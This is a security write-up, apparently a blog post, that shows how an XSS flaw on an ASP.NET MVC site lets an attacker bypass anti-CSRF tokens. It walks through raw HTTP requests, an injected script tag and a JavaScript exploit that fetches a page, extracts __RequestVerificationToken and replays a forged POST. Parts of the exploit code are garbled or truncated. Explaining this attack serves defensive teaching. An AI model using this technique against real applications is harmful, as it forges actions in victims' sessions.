Bypassing CSRF Tokens via XSS

Originally published here, with Scott Johnson:

Many web development platforms provide libraries that handle the creation and validation of tokens with each HTTP request to prevent Cross Site Request Forgery (CSRF). Those libraries are very useful and should definitely be part of any web application. However, the anti-CSRF tokens can still be bypassed in certain conditions.

Consider the following HTTP request to an MVC JSON controller implemented in the most recent version of the .NET framework:

POST /Widget/MvcJson HTTP/1.1
Content-Length: 62
Content-Type: application/json; charset=UTF-8
Accept: */*
Cookie: ai_user=77E8AC28-DB68–4989-A15A-CB454C08C532|2015–11–05T03:17:26.791Z; __RequestVerificationToken=a51PaPDJtfJj2KENd-aSH34zgxpkJ_br-LTyMyGNA-d00pv2QBx_-b8iueBZTkCPq4C0K4fxajboMB6VW84xpSp9coxdYbuDsq3nUgTzLmA1

{“toEmail”:””,”widgetMessage”:”Hi to my friend John!”}

This request, specifically the __RequestVerificationToken is the result of some MVC and JQuery magic in the MVC View:

<div id=”requestdiv”>
<h4>Send a Widget to a Friend!</h4>
<hr /> …snip…

The token is generated each time the View page is rendered, making the request unpredictable for an attacker to forge and trick an authenticated user’s browser into submitting. The following MVC Controller code on the server side validates the __RequestVerificationToken is the correct one generated for this user, something the attacker would not know unless the attacker had complete control of the victim’s browser (in which case, CSRF is the LEAST of the victim’s concerns):

// POST: /Widget/MvcJson
public ActionResult MvcJson(SendWidgetModel sendWidgetModel)
return Json(string.Format(“Sent {0} to {1}”, sendWidgetModel.widgetMessage, sendWidgetModel.toEmail), JsonRequestBehavior.DenyGet);

If an attacker can trick the victim’s browser into submitting a request that is otherwise valid except for the missing __RequestVerificationToken, like this:

POST /Widget/MvcJson HTTP/1.1
Content-Length: 53
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Cookie: ai_user=77E8AC28-DB68–4989-A15A-CB454C08C532|2015–11–05T03:17:26.791Z;

{“toEmail”:””,”widgetMessage”:”Hi to my friend John!”}

Then the server will respond with a 500 Server Error status:

HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 13 Nov 2015 17:22:42 GMT
Content-Length: 10607

<!DOCTYPE html>
<title>The required anti-forgery form field &quot;__RequestVerificationToken&quot; is not present.</title>

This works as designed and will prevent CSRF in most cases, except if the application also has a Cross Site Scripting (XSS) vulnerability, such as the following:

GET /XSS2.aspx?name=John+Doe</h1><script+src=””></script> HTTP/1.1

Which results in the following attacker controlled HTML being written to the victim’s browser:

…snip…<div><h1>Welcome John Smith</h1><script src=”"></script></h1>…snip…

Suppose the exploit, csrf.js, is a packed and obfuscated JS file that unravels and beautifies as the following JavaScript code:

function readBody(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === “text”) {
data = xhr.responseText;
} else if (xhr.responseType === “document”) {
data = xhr.responseXML;
} else {
data = xhr.response;
var parser = new DOMParser();
var resp = parser.parseFromString(data, “text/html”);
token = resp.getElementsByName(‘__RequestVerificationToken’)[0].value; //grab first available token
return data;
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
response = readBody(xhr);
}‘GET’, ‘’, true);
function csrf(token) {
var sendWidgetModel = {
“toEmail”: ‘’,
“widgetMessage”: “Goodbye, John. We are not friends.”,
var x1 = new XMLHttpRequest();“POST”, “");
x1.setRequestHeader(“Content-Type”, “application/json; charset=utf-8”);
x1.setRequestHeader(‘__RequestVerificationToken’, token);

This will force the victim’s browser to silently fetch a new copy of the HTML form that contains the MVC Request Forgery Token:

GET /Widget/MvcJson HTTP/1.1

<input name=”__RequestVerificationToken” type=”hidden” value=”r-56ZNKSJf7TbTKq_ep8E5uuUZepDXLa4JKjKB1SMkObO5z_c74esbPEf9lRGXmVhDxswcrQjQr46A0VJs3aSDL6X9Znx_JAsCLf2GC2w3I1" />

The attack will then craft the final CSRF exploit request with the __RequestVerificationToken properly set in the request header:

POST /Widget/MvcJson HTTP/1.1
Content-Length: 62
__RequestVerificationToken: r-56ZNKSJf7TbTKq_ep8E5uuUZepDXLa4JKjKB1SMkObO5z_c74esbPEf9lRGXmVhDxswcrQjQr46A0VJs3aSDL6X9Znx_JAsCLf2GC2w3I1
Content-Type: application/json; charset=UTF-8
Accept: */*
Cookie: ai_user=77E8AC28-DB68–4989-A15A-CB454C08C532|2015–11–05T03:17:26.791Z; __RequestVerificationToken=a51PaPDJtfJj2KENd-aSH34zgxpkJ_br-LTyMyGNA-d00pv2QBx_-b8iueBZTkCPq4C0K4fxajboMB6VW84xpSp9coxdYbuDsq3nUgTzLmA1

{“toEmail”:””,”widgetMessage”:”Goodbye, John. We are not friends.”}

Finally, the MVC JSON Controller will parse and validate the CSRF token. The controller will carry out the final action as if the victim intended it:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 13 Nov 2015 17:25:49 GMT
Content-Length: 40

“Sent Goodbye, John. We are not friends. to”

The ASP.NET Request Verification Token framework is one of the best anti-CSRF protections a web application can have, but if a XSS foothold is present in the app, any anti-CSRF token framework is just one extra step for the exploit developer — a minor speed bump. With XSS, all CSRF bets are off. In fact, with XSS present in the application, CSRF should be considered an obligatory post-exploitation activity.

Download and play with example code that corresponds to the requests seen above at:

Red Team Leader at Fortune 1. I left my clever profile in my other social network:

Red Team Leader at Fortune 1. I left my clever profile in my other social network: